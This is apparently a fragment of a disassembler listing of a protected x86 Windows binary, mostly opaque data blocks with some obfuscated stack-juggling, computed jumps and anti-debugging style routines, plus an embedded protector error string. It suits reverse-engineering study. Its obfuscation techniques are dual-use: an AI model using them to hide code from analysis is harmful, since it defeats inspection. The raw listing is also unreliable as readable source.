		dd 5CC5AE09h, 0BE2CB230h, 0A64ACA78h, 0DB7766D4h, 0FFFE8651h
		dd 0DC78F1FFh, 3BF64238h, 2BEFA838h, 9F78B730h,	44027F09h
		dd 6837B099h, 1624A03Ah, 0F15DC964h, 89C5195Bh,	0B9CB1B99h
		dd 1D12CF2Bh, 0BC50FC8Eh, 0DA7472BEh, 29AA2C43h, 0E34F97C5h
		dd 6F78A2E2h, 2BCC8828h, 0C89CC451h, 1B2F389h, 875F4529h
		dd 6F5C981Eh, 0FD9CA028h, 1E43E4DCh, 22028Ch, 78A00000h
		dd 0C4F3B3EEh, 871D305Ch, 0E54DCFC7h, 5CC4C8E4h, 0E88AA030h
		dd 0AFF045h, 0AE360000h, 8E3CF476h, 0F3B3EE78h,	0E7305CC4h
		dd 5CC4EAAAh, 14782A30h, 6C8FA28Eh, 813061FBh, 0B137B5C4h
		dd 5AFD59F3h, 0E219322h, 50C3966Eh, 86A935C7h, 0F5AC3AF6h
		dd 2FC8496Bh, 0A12373DBh, 6DFFA549h, 872E4EE1h,	0AA7A0215h
		dd 39D344D7h, 1C9C15AFh, 0F420874Ah, 768342AEh,	6227DBD7h
		dd 0CC2456FAh, 6CE88220h, 0A501ACCEh, 9864E839h, 608A2E0Ah
		dd 50E9B16h, 162E2425h,	0B5DA1h, 86F60500h, 0D3A94DEFh
		dd 1E60F622h, 6FED2597h, 0B5C76AC6h, 2B87A038h,	5DFF7606h
		dd 832DC044h, 37610C6Ch, 0B5DA5B25h, 35F8B8E9h,	0E2182870h
		dd 0E0A04ABCh, 0CCD62E4Ch, 40EAE63Eh, 0F31DEE36h, 0E20AC4Ah
		dd 52B64B6Bh, 0A83E9454h, 688E4E54h, 5CFEDA16h,	81FD8822h
		dd 0BD56946Ch, 99058860h, 82621A3Dh, 9E0D8D04h,	9D07305Ch
		dd 20E0230Fh, 5E843103h, 44h, 1A0B364h,	61FB89EBh, 0B5AE6130h
		dd 0F3535137h, 0DA7D35C7h, 5610CA2h, 69C1B359h,	0AAFBAF4Dh
		dd 3AC8DA2Ah, 2070DCEAh, 989B56A2h, 95047D0Fh, 9D2FCCAEh
		dd 0B9E97507h, 0AE42423Fh, 0D0D2208Ah, 5FEBF642h, 4CE2A64Ah
		dd 74D0D232h, 6F0694E6h, 5CC49118h, 3ED37B30h, 7A9E3Eh
		dd 116B8C28h, 0B45A029Ch, 0EC687ACAh, 0D7ED314Bh, 3CAB461Bh
		dd 6C0E22AAh, 0C0261290h, 0B14B18D1h, 7E089A37h, 0D4F949E4h
		dd 6F3D6F8Ch, 7B011783h, 0DFF0B0E1h, 8220286Fh,	6FDF8F0Fh
		dd 0BB238128h, 0DE57E597h, 0D4635D64h, 3F8384B0h, 27000001h
		dd 0BC32A5B3h, 5D54EE78h, 305CC55Dh, 7016E34Eh,	74184036h
		dd 0A803C22Eh, 0B8305CABh, 8B06902Ah, 305CAB0Bh, 71539F05h
		dd 5F02CA78h, 31A6B383h, 0B3E62483h, 0ABD33A4h,	0D4535DB8h
		dd 4793B930h, 37000000h, 8331A6B3h, 0C5AE0978h,	1E84305Ch
		dd 482AC08Ch, 366EEEF4h, 784E7CB4h, 98D066EEh, 0BC740A88h
		dd 0ECA44A0Eh, 0D6EC304Ah, 651CB640h, 305CC525h, 4F7DB5EFh
		dd 0C357FF77h, 8210688Fh, 0FAC820A2h, 3551h, 0A6B3F100h
		dd 9788331h, 305CC5AEh,	0C253E77Eh, 7A80A85Ah, 54E6E4BEh
		dd 0DB176588h, 57EE78E9h, 4B360E5Fh, 544DDFB7h,	305C9A54h
		dd 0B80AE6BCh, 64DAA44Ah, 535DDB77h, 93B930D4h,	3Bh, 33A4B337h
		dd 12920F99h, 2305CC5h,	787A48A0h, 5CC5AE09h, 8C1E8430h
		dd 0F14D2FC0h, 26005AF3h, 0B999AB15h, 0CA785371h, 66D4A64Ah
		dd 0C557FF77h, 91596BBBh, 365133h, 0B3F10000h, 3D9933A4h
		dd 3B89611Bh, 47C5DC78h, 2984FDEBh, 3F305CC5h, 0CA783BA9h
		dd 42D4A64Ah, 0C4B9F9A8h, 8393305Ch, 0EFA73D01h, 774F7DB5h
		dd 0B8C057FFh, 30925E64h, 0FFFEB851h, 0DC78F1FFh, 0E5FF47C5h
		dd 0C55E5E53h, 0ECB6305Ch, 59CE6904h, 85A935CFh, 0BBC557F7h
		dd 4AD08E7Fh, 0C6DC37B1h, 76009A34h, 704B7B3Bh,	9A0F9528h
		dd 28704B1Ah, 82CA8FAh,	0F8128672h, 4B87077Ah, 2D892870h
		dd 4DE3710Bh, 0F3788DA0h, 9D36CF59h, 3235AA79h,	0C65424CBh
		dd 0FD1B9B6Ah, 0AFF5286Fh, 0FCE8AE57h, 4AEC286Fh, 4AE0EC30h
		dd 9DA3D428h, 0BE42FEFCh, 0D97FE71Fh, 81455FA7h, 0B1331391h
		dd 0A47A4A79h, 10F48C1Dh, 0CE000000h, 5CC5439Fh, 65172530h
		dd 0C377C8h, 0B38F0000h, 0ECA537A0h, 37B5A571h,	810313BBh
		dd 27CB27BDh, 0CD63EB7Dh, 0D76147B3h, 0A6FFB13Eh, 9B577AC3h
		dd 0CD60183Fh, 50ACCC63h, 16688E56h, 0A17CB4CEh, 7E0217B6h
		dd 73358303h, 81178D28h, 1A2859F3h, 762FC7BBh, 44009A2Ch
		dd 0B763CF4Dh, 0FB55D8A0h, 0F8922454h, 86BC0989h, 51990B20h
		dd 34DB831Dh, 0EEAF844h, 0C557C053h, 0C5497028h, 529EFA8Ch
		dd 2FD05D54h, 604227DBh, 92EC0ED6h, 31DB83E3h, 2DCFEB47h
		dd 7C53A653h, 0ED612426h, 7D1FAh, 0FA7A9100h, 4735D97Bh
		dd 92EC02AEh, 0E361B1E3h, 2953E652h, 0A7131484h, 0E94BEA92h
		dd 1FB934B8h, 43ED80F8h, 4126CFA9h, 336C2C65h, 96A42870h
		dd 0D6A04A30h, 0CEA8420Eh, 0CB7F903Ch, 0FA885424h, 700A9864h
		dd 5CC58101h, 0D9119330h, 6DD9C985h, 566CB034h,	0BF507CC0h
		dd 0C05461BDh, 8282D919h, 710329DBh, 0D9C862FCh, 305CC4D9h
		dd 281693Bh, 8430DFC2h,	553Ch, 0EE788600h
		dd 5CC4F3B3h, 0AB871D30h, 5AEC7BF6h, 89F304C0h,	0A299A0A1h
		dd 0ABF937B5h, 91814D5Bh, 79B13313h, 73A32C88h,	512BCC28h
		dd 482CC18Dh, 9637D9F4h, 0A950FC64h, 1491814Dh,	0D95DC348h
		dd 0D925BBA4h, 0C11D5FFDh, 0C6C52DC3h, 8C1A15FEh, 3B78h
		dd 0A0B34A00h, 0FC89EB01h, 4333475Ah, 0AD3FCD93h, 0B5225DF4h
		dd 1C952F37h, 2873229Ch, 1EC22E74h, 0FE1CB884h,	0CE62EA7Ch
		dd 0DF7944ACh, 2EE3433Dh, 8F029403h, 2FCC03D4h,	952DC0E2h
		dd 68F4233Fh, 546EB6C4h, 0C156C19Ch, 729C9E37h,	0BF8AD579h
		dd 41DB7573h, 38047085h, 64B7F7AAh, 4B59305Ch, 3EEB1EEFh
		dd 0D9CB37B5h, 56FB633Dh, 3E2F6F22h, 0C3E12873h, 57E5D12Dh
		dd 0AA5B9725h, 0E8DDF2C5h, 0A8E89933h, 6867FCF2h, 3023FE3Ah
		dd 0B99C15A7h, 596F55CBh, 0B26FB4Bh, 0CCA9E998h, 396B6013h
		dd 0A2B511ABh, 0A3314BECh, 4C4C4543h, 0C46013CDh, 6E048DEh
		dd 6C91F38Bh, 55E7BD67h, 9C116389h, 0FCB45A02h,	0A692205Ah
		dd 139ED872h, 0EBD6DB8Ah, 2F05BA8Ah, 37000006h,	7FD95424h
		dd 0A00CA1DBh, 0D741EC8Eh, 4B03DBFh, 72EA8BF1h,	4430C5B5h
		dd 96160FA9h, 0E29ABD1Fh, 294BE153h, 0CAC7E384h, 287030CAh
		dd 4A52304Ah, 420ED6A0h, 2EACE4ACh, 0D7421598h,	6DFBB640h
		dd 0D937B14Ah, 4B52524Fh, 49382870h, 28704B49h,	0EFB5D9CBh
		dd 0F9455F03h, 0A8413BDDh, 34089259h, 0C7F4EB7Bh, 0AF000005h
		dd 0D741EC8Ch, 18B43943h, 4FE984F6h, 0FC58D557h, 1A922359h
		dd 0DC98BD1Dh, 2EAEE751h, 7A021587h, 0C1B359FBh, 225F4B2Ch
		dd 28703162h, 0B32A98B2h, 931101A0h, 9A331B3h, 3943D77Fh
		dd 7213DFE5h, 37B14AE8h, 1963F65Eh, 3E732DD1h, 28704B7Eh
		dd 0A67E0C96h, 0FF7A042Ah, 3408921Ah, 6335AABAh, 3000005h
		dd 4BE588E8h, 0FC58D5A7h, 238D205Ah, 50FC71F3h,	0A636BFBDh
		dd 78FC1181h, 0CA4A5BF5h, 1666892Bh, 5D1F3D9Fh,	0BEF3AFD0h
		dd 28702FFEh, 0B386E416h, 0BA537A0h, 5CC51696h,	4CA4FE30h
		dd 4B21275Ah, 356F37B1h, 554D09A3h, 4750FD7h, 28704C84h
		dd 0CACAB044h, 0F0DC10D8h, 6A951C5Eh, 6A340891h, 4FCE5DAh
		dd 51FA0000h, 0E228E27h, 0C157C16Ch, 8A9A36BFh,	26CB6508h
		dd 0E841DF56h, 9E176588h, 0CC61E332h, 0ADCF60h,	79F48694h
		dd 97178A14h, 7928702Fh, 0EE781D43h, 0F7AAD466h, 305CC4B7h
		dd 0CBEF4B59h, 19C55721h, 0CCC581F3h, 2EEF448h,	2E48E2EEh
		dd 0A851FBD6h, 0BDFDB44Eh, 57305CC4h, 1B31E54Dh, 0D278D459h
		dd 0AA55CA0h, 0E0305CC5h, 0E4D02C4Eh, 3D82456h,	0A9E5CFDh
		dd 59F6706h, 5CC50C8Ch,	529E0430h, 14AED466h, 5CC51D9Dh
		dd 0FCADF730h, 305CC4BCh, 0A5D77854h, 72EC8117h, 0EA3A44EAh
		dd 96A410D8h, 9EBC18E4h, 9D551DCh, 855890E4h, 366BFD6Ah
		dd 37B5AC57h, 800819C5h, 73AC9111h, 93218328h, 15F931B3h
		dd 9C29B78Fh, 6BD0BD47h, 32722FBCh, 0E228738Fh,	0E99832C0h
		dd 28738EA9h, 10F1396Bh, 28738EB4h, 0F105A4A8h,	31366464h
		dd 3F160403h, 0D6BA5372h, 0D7F43C8Fh, 8C1A3EEDh, 5209h
		dd 0A0B35900h, 0C53E7E33h, 752C305Ch, 305CC535h, 0DBC9C5DFh
		dd 62BB345h, 922CBA76h,	0C50989F8h, 990B305Ch, 0AB31B051h
		dd 29B37B5h, 0A043074Eh, 9A46B211h, 714D3408h, 172872DAh
		dd 2F9142EBh, 4F8C1ACBh, 0A0h, 0ACECA53Fh, 642872E5h, 78D0F23Eh
		dd 0EB47C5DCh, 0F3532DCFh, 0FA4A32C7h, 0E2423CDEh, 0BB3A44D6h
		dd 5CC10BCCh, 0D3AD4F30h, 1A64F622h, 73E477CAh,	9F19A8D9h
		dd 8B1937B5h, 0BAC255F1h, 3D38737Eh, 926110AAh,	202FC7C7h
		dd 0C96CE882h, 839602B3h, 16B770F9h, 310D3C30h,	3559Eh
		dd 7EFE1D00h, 0CBB145F7h, 16688E2Ah, 67E53D9Fh,	0ADCF62CEh
		dd 238FA800h, 55C76E0Eh, 9B35B83Ch, 0CF690474h,	0BDA2532Dh
		dd 2DF0B0E1h, 0EA202870h, 0B3EE78B4h, 305CC4F3h, 0FAB871Dh
		dd 0B1E392EAh, 0EE54D99Bh, 0C330A0B3h, 0B75054B8h, 0F5B927E5h
		dd 0E80F2760h, 0E9C3C7FAh, 47D56B2Eh, 0F6FDFCB5h, 0D66F37B4h
		dd 0CDA15D94h, 7EB470Bh, 4A0419Dh, 0F82872F2h, 9C64B554h
		dd 0DA8C1AB3h, 0C0h, 3BDC78E8h,	88C8541h, 5642AE34h, 6E6ABAC4h
		dd 536DB1CBh, 0DA16668Bh, 5CC1AA2Bh, 6C0E2C30h,	0BCC557C1h
		dd 0C6C41053h, 0AFD16627h, 29BF4D57h, 821500D5h, 0ED2AB9E8h
		dd 9A0837B4h, 7B3B7600h, 952872EDh, 99651739h, 30BD750Bh
		dd 0D365F27Dh, 0C717A8DEh, 0C9E042Fh, 26CFAD40h, 9C15678Ah
		dd 3C314545h, 6BF8EF67h, 0B000002h, 0B31D90E0h,	0E450DD9Fh
		dd 2B852852h, 58F479FBh, 0BE2EC7B5h, 80F41979h,	0D25243EDh
		dd 1E5EF123h, 65172597h, 86FBA7C8h, 28702D06h, 788EFC0Eh
		dd 0C4F3B3EEh, 871D305Ch, 92EA0FABh, 0C4BA5CF8h, 5CC4CDCDh
		dd 0CF5D4730h, 44E96D77h, 5BF5F830h, 942EC7B1h,	0ED6A04Ah
		dd 27CEA842h, 19CE2EC7h, 0BE83AC4Bh, 2BBCBF72h,	4759E091h
		dd 6B3937B5h, 47CEEA9Bh, 8EB22873h, 58D232EFh, 2F2C8C1Ah
		dd 0B6000000h, 0A537A0B3h, 0B59001ECh, 33139137h, 738F7652h
		dd 47E66A28h, 7F0117BFh, 16B010B3h, 2ECE8C1Ah, 0B0000000h
		dd 9B2B6B26h, 0BFE52873h, 449F5173h, 0C3305CC5h, 185CF150h
		dd 0C154F08Ah, 245E6BBBh, 2B9AF112h, 980EEA78h,	0B4E81EE9h
		dd 7AEF437h, 0EED7883h,	0DE3C0BBEh, 0C27CBF49h,	1FAD54A5h
		dd 0DE567BFh, 0B852C550h, 0F6FD232Dh, 0B759055Bh, 859737C5h
		dd 51992BFBh, 0C9F75A57h, 79E537B4h, 4A58A428h,	5CA002EEh
		dd 72CB09A5h, 0AA53FF28h, 1AD69769h, 35D78Ch, 9FF30000h
		dd 305CC543h, 0B9F77E17h, 912181ECh, 0FE698459h, 0ADEA356Ch
		dd 7D2837B4h, 0BBA24BB7h, 5FE97FCEh, 0B4CCCCC5h, 0C3BE2872h
		dd 2872B4C3h, 653F574Dh, 7882008Dh, 0E34339DCh,	0D95409E1h
		dd 0BA22BC4Eh, 7B0AE690h, 37B14B1Dh, 0ED871193h, 704AF4B4h
		dd 0EBABE628h, 2528704Ah, 0A58D177Fh, 7719B43h,	4E28C26Eh
		dd 0A73023F6h, 0D2839C15h, 432F2FC4h, 0AE38CEAEh, 0CB6A1426h
		dd 6DB1C369h, 700A9D98h, 0DCBA4601h, 0AA326C27h, 989F87Ah
		dd 0B189ABBh, 0AD6E0B99h, 632426E2h, 0ACFCD3h, 0A14A0000h
		dd 5EF25ED7h, 1127911Ch, 3A6AC66Fh, 769B35B8h, 38F16F06h
		dd 2EC7B558h, 9C119382h, 0D05D1F30h, 9A4D664h, 47473A64h
		dd 0C928702Bh, 0A0B3CDB3h, 17ECA537h, 9B37B14Ch, 0FE91F90Eh
		dd 77050F15h, 6F0923AFh, 0B6C06AC6h, 7C2CB76Eh,	89A35773h
		dd 641624E0h, 494938D2h, 0CBF9547Ch, 208C11D9h,	3894680Ah
		dd 800E6DE8h, 0D302C50Bh, 53E9DEDEh, 0DE6C36F9h, 783F448h
		dd 2D4FE16Dh, 0DEDED3D1h, 36F953E9h, 0B158846Ch, 1A9BE577h
		dd 2E29CBEh, 11C5E984h,	8691FCC8h, 0C15AAh, 78AD0000h
		dd 8D5B88EDh, 27139601h, 0A14A3FEDh, 0A9430FD7h, 0B45B77CFh
		dd 455C78C4h, 0BE537FC7h, 0C76A66BEh, 356D69B5h, 0CD636FB7h
		dd 0D36753B3h
		db 0A9h, 55h, 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		mov	[esp+0], edi
		push	256Eh
		mov	[esp+0], edx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		mov	[esp+0], ebx
		push	ebx
		mov	ebx, 7EC7B53h
		mov	edx, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		push	572Dh
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		pop	ebx
		push	esi
		mov	esi, edx
		push	ecx
		mov	ecx, 8
		add	ecx, ebx
		mov	[ecx], esi
		pop	ecx
		pop	esi
		mov	ebx, [esp+0]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		mov	edx, [esp+0]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		db 0A6h
		dd 0E8B0024Eh, 7CDE908Dh
		db 38h,	95h, 73h
; ---------------------------------------------------------------------------


loc_5BD923:				; CODE XREF: sub_5BB696:loc_5BB836j
		mov	eax, 7EC9AD1h
		add	eax, ebp
		jmp	eax
sub_5BB696	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 5B4E4EEFh, 672F882Eh, 6473DEDDh, 22A4B505h, 5BB7B79Fh
		dd 55F8A412h, 79111F30h, 583FDF16h, 37B02992h, 6EB6BF10h
		dd 5542F39Ah, 62395097h, 1E825CC2h, 400E9h, 0
		dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h
		dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h
		dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h
		dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h
		dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0)
		dd 5600h, 4500h, 0
		dd 1100E900h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 60B40EC3h, 2D419529h, 0BD8907E9h
		dd 7E93061h, 7D858B61h,	6A07E934h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 1A10C352h
		dd 41811D8h, 4439F91Dh,	850F0424h, 57h,	0E998D01h, 0BD8307E9h
		dd 7E921CDh, 44840F00h,	0E9000000h, 14h, 0C619ED44h, 18572F3Dh
		dd 0D9260F9Ah, 477538DCh, 5A6FFBE4h, 11E9h, 0CC053800h
		dd 0F2183FCEh, 4A50710Dh, 71531DF6h, 858DA0BEh,	7E93ABCh
		dd 718589FCh, 0FF07E929h, 9D9D89E0h, 8B07E901h,	0E916B585h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 8DC89CBAh, 0BE960F0h, 5C000000h,	3C0F106Dh
		dd 51D5F790h, 81601134h, 0F2B36DC9h, 39616161h,	0F042444h
		dd 3885h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 917A8E49h, 0C73A9BF4h, 0EC9FA785h
		dd 107h, 51952900h, 3107E91Fh, 0E92EED95h, 6A6007h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 204261C3h, 165E48E0h, 31C82EE0h, 0E908B1BDh,	39958907h
		dd 0E907E931h, 34h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0B8C35747h, 3FB2DABCh, 0F28A5F9Ch, 6E997h
		dd 24760000h, 0F66F47F6h, 0
; ---------------------------------------------------------------------------
		mov	eax, 1


loc_5BDF11:				; CODE XREF: sdfs____:005BDF19j
		xchg	eax, [ebp+7ECA14Eh]
		or	eax, eax
		jnz	short loc_5BDF11
		push	dword ptr [ebp+7E92659h]
		pop	dword ptr [ebp+7EC9F9Fh]
		push	20h
		push	0FFFFFFFFh
		call	dword ptr [ebp+7E90C15h]
		cmp	dword ptr [ebp+7E915E1h], 0
		jz	short loc_5BDF42
		push	0
		call	dword ptr [ebp+7E90C31h]


loc_5BDF42:				; CODE XREF: sdfs____:005BDF38j
		cmp	dword ptr [ebp+7E926A9h], 1
		jz	short loc_5BDF58
		push	80h
		push	0FFFFFFFFh
		call	dword ptr [ebp+7E90C15h]


loc_5BDF58:				; CODE XREF: sdfs____:005BDF49j
		push	0
		push	eax
		call	sub_5BDF63
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BDF63	proc near		; CODE XREF: sdfs____:005BDF5Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5BDF63	endp

; ---------------------------------------------------------------------------
		jmp	fword ptr [ebx]
; ---------------------------------------------------------------------------
		jmp	short loc_5BDF79
; ---------------------------------------------------------------------------
		db 60h
		db 2Bh
; ---------------------------------------------------------------------------


loc_5BDF79:				; CODE XREF: sdfs____:005BDF75j
		lea	edx, [ecx-7FF816DAh]
		rcl	dword ptr [ebx], 1
		popa
		sub	eax, eax
		add	[ebp+7E917BDh],	esi
		mov	[ebp+7E91695h],	edx
		mov	edx, [esp+28h]
		push	0
		push	ebp
		call	sub_5BDF9F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BDF9F	proc near		; CODE XREF: sdfs____:005BDF97p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5BDF9F	endp

; ---------------------------------------------------------------------------
		db 67h
		dd 0D18293B1h, 20FB675h, 9D8589A7h, 6A07E90Eh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 5DEC351h, 0A59F0E12h, 5E9h, 20208200h, 3CBE471Eh, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0D1C0C357h, 0F1B1B52Bh, 0E0DF749Eh, 7403F5FCh
		dd 66F82424h, 52006AADh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0AB5911FBh, 89B7E403h, 0E91CA995h
		dd 24440307h, 5E924h, 0B7460000h, 89902052h, 0E92A4D85h
		dd 8F0F9007h, 14h, 7E860h, 828D0000h, 0EFBF5DFBh, 0A6B8580Fh
		dd 616EC2C1h, 118E0F50h, 0E9000000h, 0Ch, 4E005C4Bh, 2F018F74h
		dd 598889ABh, 25958990h, 8B07E900h, 0F5FC7840h,	9FA7BD83h
		dd 0F0007ECh, 15885h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0EA7E2040h, 0F8B48736h
		dd 0E9525090h, 0Fh, 841483DCh, 8780C20Bh, 14A9D3EEh, 0FFE583Ah
		dd 50525031h, 5A310F52h, 0F310F58h, 87h, 5A585A00h, 13E95058h
		dd 0B0000000h, 20D48C44h, 0F96A1082h, 533AB19Ch, 11992CA4h
		dd 6A90106Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0CD85C352h, 0F8F96084h, 8BFCF561h
		dd 0F2C2444h, 68Ch, 81BD3100h, 5007E931h, 0F08B6660h, 28C0Fh
		dd 0D38B0000h, 24048961h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 8DC35343h, 2D1545DBh,	604B3B96h, 9E9h
		dd 76DB0800h, 0EF37607Eh, 8D09E6D7h, 7E91ECDh, 0A850F61h
		dd 0E9000000h, 5, 26100E9Dh, 3A858DB4h,	6A07EC72h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 2DD0C357h, 0FE9FCh, 47A30000h, 99066372h, 98EB699Bh
		dd 0ABE1AA00h, 6AD0FFABh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0B5B2C356h,	1C400B2h
		dd 0E9262985h, 24440307h, 8D8B6028h, 7E93185h, 3459531h
		dd 0F6107E9h, 0E82h, 95296000h,	7E92295h, 2F798589h, 8B6107E9h
		dd 6A1840h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 34B0FEC3h, 0FD36A026h, 3519BD29h,	0E94007E9h
		dd 8, 0B75A47Ah, 699BB7Dh, 9FA38589h, 58F807ECh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 26C35343h, 35F915C9h
		dd 78708B65h, 0EA5B589h, 0C68307E9h, 68A0F1Ch, 31000000h
		dd 0E91F99BDh, 9D299607h, 7E91905h, 1800Fh, 81F50000h
		dd 24247Ch, 0F100000h, 14D87h, 52006A00h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0FCE5DA61h
		dd 3860Fh, 0F8600000h, 8E961h, 95430000h, 0E2212C4Ch, 60901662h
		dd 0BE85250h, 0DA000000h, 0D590CAF4h, 0F3A47804h, 0F5B76E8h
		dd 840F31h, 5A000000h, 612AB658h, 0DE950h, 688C0000h, 60D8E3F6h
		dd 0AFFB2481h, 905F22B2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0AC35747h, 0D153FDA9h, 0C8A0FD4h, 0F000000h
		dd 68Ah, 0EDB50900h, 8B07E90Fh,	0F282444h, 0B85h, 6E900h
		dd 0F6230000h, 8615B4C4h, 50525090h, 9E952h, 94060000h
		dd 39D8320Bh, 0F7A00C8h, 5A616031h, 0E9310F58h,	0Dh, 0A72B5B7Ah
		dd 39391B67h, 0F3F9ABBFh, 50585AAFh, 66EC8A60h,	61A33AB9h
		dd 56006A90h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 164FE21Ch, 1959589h, 858D07E9h, 7EC723Ah
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 9CC35747h
		dd 77E13E01h, 0FD2949Fh, 0A87h,	61606000h, 251D8D8Bh, 0FF6107E9h
		dd 6A96F9D0h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0B7F3C352h, 0A59D8960h, 0B707E909h
		dd 740361A9h, 6E92424h,	73000000h, 0E897C061h, 1BD8D2Ah
		dd 6A07E925h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 38FEC350h, 1ADF5B7h, 0E9158DBDh
		dd 247C8107h, 24h, 84870F10h, 60000000h, 2985B589h, 0ACB707E9h
		dd 7E95061h, 3D000000h,	823FF813h, 48918C5h, 0FE924h, 54FA0000h
		dd 0D8513194h, 7FDE250Eh, 5DEEC981h, 24448B74h,	95B52928h
		dd 0F807E915h, 12860F50h, 50000000h, 0F525052h,	0F585A31h
		dd 0F525031h, 5A585A31h, 24048958h, 10E9h, 0D976FC00h
		dd 0D200304Ch, 84DDA731h, 776EC1F2h, 3A858D02h,	107EC72h
		dd 0E9204995h, 0E9D0FF07h, 7, 8435BEACh, 316E98Ah, 60242444h
		dd 13E9h, 77886700h, 0FE40D4ECh, 0C940B5D8h, 0E4D3BBBFh
		dd 0B33D8287h, 1259B58Bh, 0AB6107E9h, 6830Fh, 0BD890000h
		dd 7E90969h, 0FA81h, 820F0001h,	769h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 71C35242h, 0A830Fh,	60600000h
		dd 0D8D3361h, 6107E920h, 0BE9h,	51331800h, 36E4548Ah, 64C305C9h
		dd 0B79BD8Dh, 8B6007E9h, 0E91C1DB5h, 39E28007h,	6AAD61h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 75CBBFC3h, 60464968h, 0BCEB70Fh, 0E90FC1B5h,	0F9FC6107h
		dd 24247C81h, 10000000h, 0FD870Fh, 0B5890000h, 7E92F95h
		dd 76B16050h, 0C38B6660h, 61615F53h, 0F240489h,	685h, 0B1B58900h
		dd 8B07E924h, 6A282444h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 5F2DC357h, 0BD93F15h
		dd 0F9345C1h, 180h, 6090FC00h, 0FDD8A60h, 88h, 10E96100h
		dd 19000000h, 6E2C83F4h, 76BCF434h, 6F68EB99h, 618C36E1h
		dd 60525050h, 236DBA66h, 0F615951h, 28D0F31h, 60000000h
		dd 90585A61h, 3059BD01h, 858D07E9h, 7EC723Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0A2C35242h, 8EA13EC1h
		dd 89604A62h, 0E92F8595h, 6AD0FF07h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0D271C356h
		dd 0F6B40F18h, 13E9A957h, 0B3000000h, 8D37DEEDh, 40407695h
		dd 2EC2A1AAh, 30C15CDAh, 3FCB6EFh, 0FC242444h, 0F526090h
		dd 83h,	13E85900h, 0E9000000h, 0C6E95AE2h, 1E82AE8Dh, 0FF5DBB31h
		dd 0D4DDB787h, 615F18F3h, 52506050h, 11E9h, 83B1F700h
		dd 8AAA5B9Bh, 9253685Fh, 0D192518Bh, 310FA1E5h,	585AF88Bh
		dd 6A9061h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 218E7EC3h, 2C20DEECh, 2E358D31h, 6AAB07E9h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 97A8C357h, 0EDB67300h, 0F8017783h, 5E960h
		dd 579F0000h, 8B7E3408h, 0E91909BDh, 0BD8D6107h, 7E915CDh
		dd 6AADF9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0DD204C3h, 0CE7E1C51h, 247C8139h,	28h, 0E0870F10h
		dd 0F8000000h, 819D8B60h, 0E907E935h, 7
		dd 324E9626h, 6129D05Dh, 60525050h, 0A96BA66h, 0BE9h, 0BCA30900h
